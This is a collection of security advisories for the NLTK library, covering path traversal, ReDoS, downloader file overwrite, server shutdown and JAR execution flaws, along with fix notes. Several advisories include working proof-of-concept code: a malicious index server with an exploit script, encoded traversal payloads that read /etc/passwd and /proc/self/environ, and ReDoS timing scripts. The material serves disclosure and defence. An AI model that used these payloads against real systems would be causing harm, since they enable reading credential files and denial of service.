Steps 1. Enable pathsec.ENFORCE=True and restrict allowed roots to a dedicated sandbox directory. 2. Use public model import or export APIs with paths that point outside that root. 3. Observe the same paths are rejected by negative-control guarded helpers such as pathsec.open(), PerceptronTagger.loadfromjson(), or loadmaxentparams(). 4. Observe the vulnerable APIs still read or write outside-root files successfully.

Minimal reproducible excerpt

text transitiontrainexists True transitionparseloaderreadbytes 13 averagedloadkeys ['bias'] maxentsave wrote ['alwayson.tab', 'labels.txt']

Impact

Consumers that rely on pathsec for local containment can be tricked into reading or overwriting files outside approved roots through normal model persistence and loading APIs.

Remediation

Route all model-path file access through nltk.pathsec.open() or existing pathsec-aware helpers, and add regression tests that pair each vulnerable API with a negative control on the same path.

Summary

Published nltk==3.9.4 still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.

Details

- Vulnerability type: Path traversal and trusted-root bypass - Affected component: FramenetCorpusReader.framebyname, FramenetCorpusReader.doc, FramenetCorpusReader.lu, NKJPCorpusReader.header - Affected versions: Published 3.9.4 reproduced. Current source v3.10.0-rc2 acted as a negative control and blocked the same payloads. - Patched versions: Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate. - Root cause: Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.

I confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.

PoC

Preconditions - The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.

Steps 1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root. 2. Feed unsafe selectors or poisoned index state into the relevant public stable 3.9.4 APIs. 3. Observe framebyname, doc, lu(...).exemplars, or header return parsed outside-root values. 4. Run the same payloads against current source and observe explicit path-safety rejections.

Minimal reproducible excerpt

text framenetframedefinition FRAMELEAK framenetdoctext DOCLEAK framenetlutext LULEAK nkjpheadertitle HEADERLEAK

Impact

Applications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.

Remediation

Keep these reader paths on the same root-confinement model as CorpusReader.open() and nltk.pathsec. Reject unsafe path components before constructing filenames from frame names, document filenames, LU ids, or NKJP file identifiers.

Resources

- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1366-L1369 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1456-L1460 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/framenet.py#L1803-L1810 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L96-L103 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/nkjp.py#L251-L256 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/framenet.py#L1388-L1399 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/corpus/reader/nkjp.py#L96-L128

Summary

Several corpus readers still step outside NLTK's symlink-aware trusted-root model. They derive in-root paths from trusted corpus state, convert those paths back into plain strings, and reopen them with built-in open() rather than nltk.pathsec.open().

Details

- Vulnerability type: Path traversal and symlink boundary bypass - Affected component: nltk.corpus.reader.ipipan, nltk.corpus.reader.crubadan, nltk.corpus.reader.lin - Affected versions: Published 3.9.4 and current source v3.10.0-rc2 both reproduced. - Patched versions: Not yet patched - Root cause: Root-derived paths are reopened with raw open() without preserving the trusted-root boundary.

IPIPANCorpusReader opens header.xml derived from morph.xml, CrubadanCorpusReader opens table.txt directly, and LinThesaurusCorpusReader opens simN.lsp paths returned from its own root helpers. Under pathsec.ENFORCE=True, a symlink placed inside the trusted corpus root can point outside the root and still be parsed successfully. It was confirmed parsed outside-root content is returned through public methods such as channels(), domains(), categories(), langs(), crubadantoiso(), synonyms(), and scoredsynonyms().

PoC

Preconditions - The application processes attacker-influenced corpora inside a trusted NLTK data root or trusted corpus directory.

Steps 1. Create a trusted corpus root and keep pathsec.ENFORCE=True with that root allowlisted. 2. Place symlinked reader inputs such as header.xml, table.txt, or simN.lsp inside the root and point them to external files. 3. Instantiate the corresponding corpus reader and call its normal public methods. 4. Observe that parsed outside-root values are returned even though pathsec.open() blocks the same symlink targets.

Minimal reproducible excerpt

text {'ipipan': ['LEAK', 'TOPSECRET', 'CLASSIFIED'], 'crubadan': ['LEAK'], 'lin': [('LEAK', 9.5)]}

Impact

An attacker who can stage corpus files or symlinks under a trusted data root can disclose outside-root content through normal corpus-reader results, defeating the boundary NLTK documents for shared and untrusted-input environments.

Remediation

Preserve PathPointer and requiredroot semantics end to end. Replace direct open() calls with nltk.pathsec.open() or a reader helper that keeps the trusted-root boundary intact.

References

- https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/ipipan.py#L162-L192 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/crubadan.py#L74-L98 - https://github.com/nltk/nltk/blob/3.9.4/nltk/corpus/reader/lin.py#L40-L43 - https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L521-L545

---

Fix + full-codebase audit (verified)

I swept every raw file open in the corpus readers, not just the three the umbrella named:

| Reader | Site | Advisory | Root scoping | |---|---|---|---| | crubadan | table.txt + <code>-3grams.txt | p4rw / j5pw | requiredroot=self.root | | lin | simN.lsp | p4rw | requiredroot=self.root | | xmldocs | XMLCorpusView bare-string fileid | 934p (base reader) | global fallback (view has no root) | | pl196x | textids index | found by audit | requiredroot=self.root | | mte | MTEFileReader | mvf5 | requiredroot threaded through 8 call sites | | toolbox | StandardFormat.open codecs.open | cr8c | global sandbox (low-level parser) | | namedentity | loadacefile ann/text | 7qj2 | global sandbox | | nkjp | XMLTool source file | p4rw class | requiredroot=self.root |

ipipan already validates via the earlier #3727 fix — unchanged.

Fix Each site now calls nltk.pathsec.validatepath(path, requiredroot=…) before opening. Where the reader has a concrete corpus root, the check is scoped with requiredroot (rejects any escape outside that root). XMLCorpusView carries no root, so it falls back to the global data-root sandbox via getattr(self, "root", None) — which also avoids an AttributeError on the bare-string path.

Reproduced (captured) raw open(symlink) reads: 'TOPSECRETOUTSIDEROOT' <- the bypass validatepath(symlink, requiredroot): ValueError -> BLOCKS the escape validatepath(legit in-root): PASSED <- loads normally

Honest residual The global-sandbox fallback (toolbox, namedentity, xmldocs-view) is only as tight as the allowed-roots list, which currently includes the system temp dir. Scoping every reader with requiredroot and removing the temp dir from the allowed roots would harden it further (separate advisory / task).

Tests testcorpusreaderpathsec.py — symlink escape rejected, in-root file allowed, XMLCorpusView string-fileid no AttributeError, MTEFileReader out-of-root rejected. 46 existing corpus/toolbox tests pass; all edited modules import (no circular import). pre-commit (black/isort/ruff) clean.

---

Scope caveat validatepath blocks every symlink escape variant (verified) and equals pathsec.open()'s guarantee, but does NOT block hardlinks (no symlink to resolve; tracked separately as GHSA-f794-5jv7-7672) or the validate-then-open TOCTOU race (shared by pathsec.open; needs ONOFOLLOW/openat).

Summary The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code nltk/tgrep.py — tgrepnodeaction() (around line 320)

When a tgrep pattern contains a /regex/ node, tgrepnodeaction compiles the embedded regex literal directly with no validation:

python def tgrepnodeaction(s, l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") nodelit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( tgrepnodeliteralvalue(n) ) )(re.compile(nodelit)) # User regex compiled and executed with no timeout The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgreppositions() or tgrepcompile() controls nodelit entirely.

Proof of Concept python import nltk from nltk.tgrep import tgreppositions

Root node label is 25 'a' characters. tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" 25 + " (NP (DT the)))") tgreppositions(r"/((a+)+)b/", [tree]) # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgreppositions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

python import nltk from nltk.tgrep import tgreppositions import time

def testn(n): tree = nltk.Tree.fromstring("(" + "a" n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perfcounter() list(tgreppositions(pattern, [tree])) return time.perfcounter() - start

if name == "main": # Adjust the range if needed – these values complete quickly nvalues = [18, 20, 22, 24, 26, 28] print(f"Testing n = {nvalues}\n")

times = [] for n in nvalues: t = testn(n) times.append((n, t)) print(f"n={n:2d} done", flush=True)

print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prevn, prevt = times[i-1] currn, currt = times[i] factor = currt / prevt factors.append((currn, factor)) print(f"n={currn:2d} : factor = {factor:.2f}x (vs n={prevn})")

avg = sum(f for , f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit Tool: Kira by Offgrid Security

Vulnerability Description

The NLTK downloader does not validate the subdir and id attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as ../), which can lead to:

1. Arbitrary Directory Creation: Create directories at arbitrary locations in the file system 2. Arbitrary File Creation: Create arbitrary files 3. Arbitrary File Overwrite: Overwrite critical system files (such as /etc/passwd, ~/.ssh/authorizedkeys, etc.)

Vulnerability Principle

Key Code Locations

1. XML Parsing Without Validation (nltk/downloader.py:253) python self.filename = os.path.join(subdir, id + ext) - subdir and id are directly from XML attributes without any validation

2. Path Construction Without Checks (nltk/downloader.py:679) python filepath = os.path.join(downloaddir, info.filename) - Directly uses filename which may contain path traversal

3. Unrestricted Directory Creation (nltk/downloader.py:687) python os.makedirs(os.path.join(downloaddir, info.subdir), existok=True) - Can create arbitrary directories outside the download directory

4. File Writing Without Protection (nltk/downloader.py:695) python with open(filepath, "wb") as outfile: - Can write to arbitrary locations in the file system

Attack Chain

1. Attacker controls remote XML index server ↓ 2. Provides malicious XML: <package id="passwd" subdir="../../etc" .../> ↓ 3. Victim executes: downloader.download('passwd') ↓ 4. Package.fromxml() creates object, filename = "../../etc/passwd.zip" ↓ 5. downloadpackage() constructs path: downloaddir + "../../etc/passwd.zip" ↓ 6. os.makedirs() creates directory: downloaddir + "../../etc" ↓ 7. open(filepath, "wb") writes file to /etc/passwd.zip ↓ 8. System file is overwritten!

Impact Scope 1. System File Overwrite

Reproduction Steps

Environment Setup

1. Install NLTK bash pip install nltk

2. Prepare malicious server and exploit script (see PoC section)

Reproduction Process

Step 1: Start malicious server bash python3 maliciousserver.py

Step 2: Run exploit script bash python3 exploitvulnerability.py

Step 3: Verify results bash ls -la /tmp/testfile.zip

Proof of Concept

Malicious Server (maliciousserver.py)

python #!/usr/bin/env python3 """Malicious HTTP Server - Provides XML index with path traversal""" import os import tempfile import zipfile from http.server import HTTPServer, BaseHTTPRequestHandler

Create temporary directory serverdir = tempfile.mkdtemp(prefix="nltkmalicious")

Create malicious XML (contains path traversal) maliciousxml = """<?xml version="1.0"?> <nltkdata> <packages> <package id="testfile" subdir="../../../../../../../../../tmp" url="http://127.0.0.1:8888/test.zip" size="100" unzippedsize="100" unzip="0"/> </packages> </nltkdata> """

Save files with open(os.path.join(serverdir, "maliciousindex.xml"), "w") as f: f.write(maliciousxml)

with zipfile.ZipFile(os.path.join(serverdir, "test.zip"), "w") as zf: zf.writestr("test.txt", "Path traversal attack!")

HTTP Handler class Handler(BaseHTTPRequestHandler): def doGET(self): if self.path == '/maliciousindex.xml': self.sendresponse(200) self.sendheader('Content-type', 'application/xml') self.endheaders() with open(os.path.join(serverdir, 'maliciousindex.xml'), 'rb') as f: self.wfile.write(f.read()) elif self.path == '/test.zip': self.sendresponse(200) self.sendheader('Content-type', 'application/zip') self.endheaders() with open(os.path.join(serverdir, 'test.zip'), 'rb') as f: self.wfile.write(f.read()) else: self.sendresponse(404) self.endheaders() def logmessage(self, format, args): pass

Start server if name == "main": port = 8888 server = HTTPServer(("0.0.0.0", port), Handler) print(f"Malicious server started: http://127.0.0.1:{port}/maliciousindex.xml") print("Press Ctrl+C to stop") try: server.serveforever() except KeyboardInterrupt: print("\nServer stopped")

Exploit Script (exploitvulnerability.py)

python #!/usr/bin/env python3 """AFO Vulnerability Exploit Script""" import os import tempfile

def exploit(serverurl="http://127.0.0.1:8888/maliciousindex.xml"): downloaddir = tempfile.mkdtemp(prefix="nltkexploit") print(f"Download directory: {downloaddir}") # Exploit vulnerability from nltk.downloader import Downloader downloader = Downloader(serverindexurl=serverurl, downloaddir=downloaddir) downloader.download("testfile", quiet=True) # Check results expectedpath = "/tmp/testfile.zip" if os.path.exists(expectedpath): print(f"\n✗ Exploit successful! File written to: {expectedpath}") print(f"✗ Path traversal attack successful!") else: print(f"\n? File not found, download may have failed")

if name == "main": exploit()

Execution Results

✗ Exploit successful! File written to: /tmp/testfile.zip ✗ Path traversal attack successful!

In nltk/nltk versions 3.9.3 and earlier, five Stanford interface classes (StanfordPOSTagger, StanfordNERTagger, StanfordParser, StanfordDependencyParser, and StanfordNeuralDependencyParser) are vulnerable to untrusted JAR code execution. These classes accept user-controllable JAR paths and execute them via the java() function, which invokes subprocess.Popen() without integrity verification. This vulnerability is identical to CVE-2026-0848, which was fixed for StanfordSegmenter by adding SHA256 verification. However, the fix was not applied to these additional classes, leaving them susceptible to arbitrary code execution when loading untrusted JAR files.

A vulnerability in NLTK versions up to and including 3.9.2 allows arbitrary file read via path traversal in multiple CorpusReader classes, including WordListCorpusReader, TaggedCorpusReader, and BracketParseCorpusReader. These classes fail to properly sanitize or validate file paths, enabling attackers to traverse directories and access sensitive files on the server. This issue is particularly critical in scenarios where user-controlled file inputs are processed, such as in machine learning APIs, chatbots, or NLP pipelines. Exploitation of this vulnerability can lead to unauthorized access to sensitive files, including system files, SSH private keys, and API tokens, and may potentially escalate to remote code execution when combined with other vulnerabilities.

A vulnerability in the filestring() function of the nltk.util module in nltk version 3.9.2 allows arbitrary file read due to improper validation of input paths. The function directly opens files specified by user input without sanitization, enabling attackers to access sensitive system files by providing absolute paths or traversal paths. This vulnerability can be exploited locally or remotely, particularly in scenarios where the function is used in web APIs or other interfaces that accept user-supplied input.

Summary nltk.app.wordnetapp allows unauthenticated remote shutdown of the local WordNet Browser HTTP server when it is started in its default mode. A simple GET /SHUTDOWN%20THE%20SERVER request causes the process to terminate immediately via os.exit(0), resulting in a denial of service.

Details The vulnerable logic is in nltk/app/wordnetapp.py:

- nltk/app/wordnetapp.py:242 - The server listens on all interfaces: - server = HTTPServer(("", port), MyServerHandler)

- nltk/app/wordnetapp.py:87 - Incoming requests are checked for the exact path: - if unquoteplus(sp) == "SHUTDOWN THE SERVER":

- nltk/app/wordnetapp.py:88 - The shutdown protection only depends on servermode

- nltk/app/wordnetapp.py:93 - In the default mode (runBrowser=True, therefore servermode=False), the handler terminates the process directly: - os.exit(0)

This means any party that can reach the listening port can stop the service with a single unauthenticated GET request when the browser is started in its normal mode.

PoC 1. Start the WordNet Browser in Docker in its default mode:

bash docker run -d --name nltk-wordnet-web-default-retest -p 8004:8004 \ nltk-sandbox \ python -c "import nltk; nltk.download('wordnet', quiet=True); from nltk.app.wordnetapp import wnb; wnb(8004, True)"

2. Confirm the service is reachable:

bash curl -s -o /tmp/wnbefore.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/'

Observed result:

text 200

3. Trigger shutdown:

bash curl -s -o /tmp/wnshutdown.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/SHUTDOWN%20THE%20SERVER'

Observed result:

text 000

4. Verify the service is no longer available:

bash curl -s -o /tmp/wnafter.html -w '%{httpcode}\n' 'http://127.0.0.1:8004/' docker ps -a --filter name=nltk-wordnet-web-default-retest --format '{{.Names}}\t{{.Status}}' docker logs nltk-wordnet-web-default-retest

Observed results:

text 000 nltk-wordnet-web-default-retest Exited (0) Server shutting down!

Impact This is an unauthenticated denial-of-service issue in the NLTK WordNet Browser HTTP server.

Any reachable client can terminate the service remotely when the application is started in its default mode. The impact is limited to service availability, but it is still security-relevant because:

- the route is accessible over HTTP - no authentication or CSRF-style confirmation is required - the server listens on all interfaces by default - the process exits immediately instead of performing a controlled shutdown

This primarily affects users who run nltk.app.wordnetapp and expose or otherwise allow access to its listening port.

Summary nltk.data.load() in NLTK is vulnerable to path traversal via URL-encoded path separators and traversal segments when using the nltk: URL scheme. The unsafe-path regex check is performed before url2pathname() decodes the %xx sequences (a classic decode-after-check / TOCTOU-style flaw), allowing an attacker to bypass the protection documented in NLTK's SECURITY.md and read arbitrary files from the filesystem. While literal traversal strings such as ../../../etc/passwd are correctly blocked, encoded variants such as %2fetc%2fpasswd, %2e%2e%2f..., and ..%2f..%2f slip past the regex and are subsequently decoded into a real filesystem path. Affected Component nltk/data.py — find(), normalizeresourceurl(), and the UNSAFENOPROTOCOLRE regex check. Relevant occurrences:

data.py L650–L653 — final path constructed from url2pathname(resourcename) after checks data.py L54–L69 — UNSAFENOPROTOCOLRE operates only on the undecoded string data.py L219–L245 — normalizeresourceurl() for nltk: scheme contributes to decode-after-check data.py L615–L618 — defense-in-depth traversal check also operates on undecoded input

Root Cause The regex UNSAFENOPROTOCOLRE is matched against the raw resource string. Path normalization via url2pathname() happens later, so any percent-encoded / (%2f) or . (%2e) is invisible to the regex but becomes active in the final path. Proof of Concept """ NLTK Arbitrary File Read via URL-Encoded Path Traversal ======================================================= Bypasses UNSAFENOPROTOCOLRE security regex in nltk/data.py by URL-encoding path separators and traversal components.

Affected: NLTK <= 3.9.4 (default ENFORCE=False configuration) CWE: CWE-22 (Path Traversal)

Root Cause: nltk/data.py:find() checks resource names against a regex for traversal patterns (../, leading /, etc.) BEFORE calling url2pathname() which decodes %xx sequences. This is a classic "decode-after-check" vulnerability. """

import sys import os import warnings

Suppress NLTK security warnings for clean PoC output warnings.filterwarnings("ignore", category=RuntimeWarning)

Setup sys.path.insert(0, os.path.join(os.path.dirname(file), "nltk")) os.makedirs(os.path.expanduser("~/nltkdata/corpora"), existok=True)

import nltk from nltk.pathsec import ENFORCE

BANNER = """ =================================================== NLTK URL-Encoded Path Traversal PoC Affected: nltk <= 3.9.4 Default ENFORCE={enforce} =================================================== """.format(enforce=ENFORCE)

def testvariant(name, payload, fmt="raw"): """Test a single traversal variant.""" try: content = nltk.data.load(payload, format=fmt) if isinstance(content, bytes): preview = content[:200].decode("utf-8", errors="replace") else: preview = content[:200] firstline = preview.split("\n")[0] print(f" [VULN] {name}") print(f" Payload: {payload}") print(f" Read OK: {firstline}") return True except Exception as e: print(f" [SAFE] {name}") print(f" Payload: {payload}") print(f" Blocked: {type(e).name}: {e}") return False

def main(): print(BANNER) vulns = 0

# --- Variant 1: URL-encoded absolute path --- print("[1] URL-encoded absolute path (%2f = /)") if testvariant( "Encoded leading slash bypasses ^/ regex check", "nltk:%2fetc%2fpasswd", ): vulns += 1

print()

# --- Variant 2: Encoded dot-dot traversal --- print("[2] URL-encoded dot-dot traversal (%2e = .)") if testvariant( "Encoded dots bypass \\.\\./ regex check", "nltk:corpora/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd", ): vulns += 1

print()

# --- Variant 3: Literal dots with encoded slash --- print("[3] Literal dots with encoded slash (..%2f)") if testvariant( "Encoded slash after literal .. bypasses \\.\\./ regex", "nltk:corpora/..%2f..%2f..%2f..%2f..%2fetc%2fpasswd", ): vulns += 1

print()

# --- Variant 4: Read process environment (credential leak) --- print("[4] Read /proc/self/environ (credential leakage)") try: content = nltk.data.load("nltk:%2fproc%2fself%2fenviron", format="raw") envvars = content.decode("utf-8", errors="replace").split("\x00") print(f" [VULN] Leaked {len(envvars)} environment variables") for var in envvars[:3]: if var: key = var.split("=")[0] if "=" in var else var print(f" {key}=...") vulns += 1 except Exception as e: print(f" [SAFE] Blocked: {e}")

print()

# --- Control: verify normal traversal IS blocked --- print("[CONTROL] Verify literal ../ is blocked by regex") testvariant("Direct traversal (should be blocked)", "nltk:../../../etc/passwd")

print() print("=" 51) print(f" Result: {vulns} bypass variant(s) succeeded") if vulns > 0: print(" Status: VULNERABLE (url2pathname decodes after regex check)") else: print(" Status: Not vulnerable") print("=" 51)

if name == "main": main() Impact Arbitrary local file read whenever attacker-controlled input reaches nltk.data.load(). Realistic targets include:

/etc/passwd, /etc/shadow (if readable) /proc/self/environ — leaks environment variables, often containing API keys, DB credentials, cloud secrets Application source code and configuration files Cloud metadata, deployment secrets, SSH keys

This is directly relevant to web applications, hosted notebook services, multi-tenant ML pipelines, and CI/CD systems that pass untrusted resource identifiers into NLTK. NLTK's SECURITY.md explicitly places path traversal within the scope of its protection model, so this is a documented security boundary being broken.

Summary nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path, url2pathname(resourcename)) if os.path.exists(p): return FileSystemPathPointer(p)

Proof of Concept import nltk.data nltk.data.path = ["/home/user/nltkdata"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRETcredentials.txt", format="raw") print(data) b'AWSSECRETKEY=AKIAIOSFODNN7EXAMPLE\nDATABASEPASS=hunter2\n' All of these bypass path checks and decode identically:

Payload After url2pathname() %2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix Decode before checking:

from urllib.parse import unquote resourcename = unquote(resourcename) # decode first, then validate

Impact An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().

Impact The vulnerability is present in PunktSentenceTokenizer, senttokenize and wordtokenize. Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. In short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example: python from nltk.tokenize import wordtokenize

n = 8 for length in [10i for i in range(2, n)]: # Prepare a malicious input text = "a" length startt = time.time() # Call wordtokenize and naively measure the execution time wordtokenize(text) print(f"A length of {length:<{n}} takes {time.time() - startt:.4f}s") Which gave the following output during testing: python A length of 100 takes 0.0060s A length of 1000 takes 0.0060s A length of 10000 takes 0.6320s A length of 100000 takes 56.3322s ... I canceled the execution of the program after running it for several hours.

If your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.

Patches The problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result: python A length of 100 takes 0.0070s A length of 1000 takes 0.0010s A length of 10000 takes 0.0060s A length of 100000 takes 0.0400s A length of 1000000 takes 0.3520s A length of 10000000 takes 3.4641s This output shows a linear relationship in execution time versus input length, which is desirable for regular expressions. We recommend updating to NLTK 3.6.6+ if possible.

Workarounds The execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. Our recommendation is to implement such a limit.

References The issue showcasing the vulnerability: https://github.com/nltk/nltk/issues/2866 The pull request containing considerably more information on the vulnerability, and the fix: https://github.com/nltk/nltk/pull/2869 The commit containing the fix: 1405aad979c6b8080dbbc8e0858f89b2e3690341 Information on CWE-1333: Inefficient Regular Expression Complexity: https://cwe.mitre.org/data/definitions/1333.html

For more information If you have any questions or comments about this advisory: Open an issue in github.com/nltk/nltk Email us at nltk.team@gmail.com

nltk is vulnerable to Inefficient Regular Expression Complexity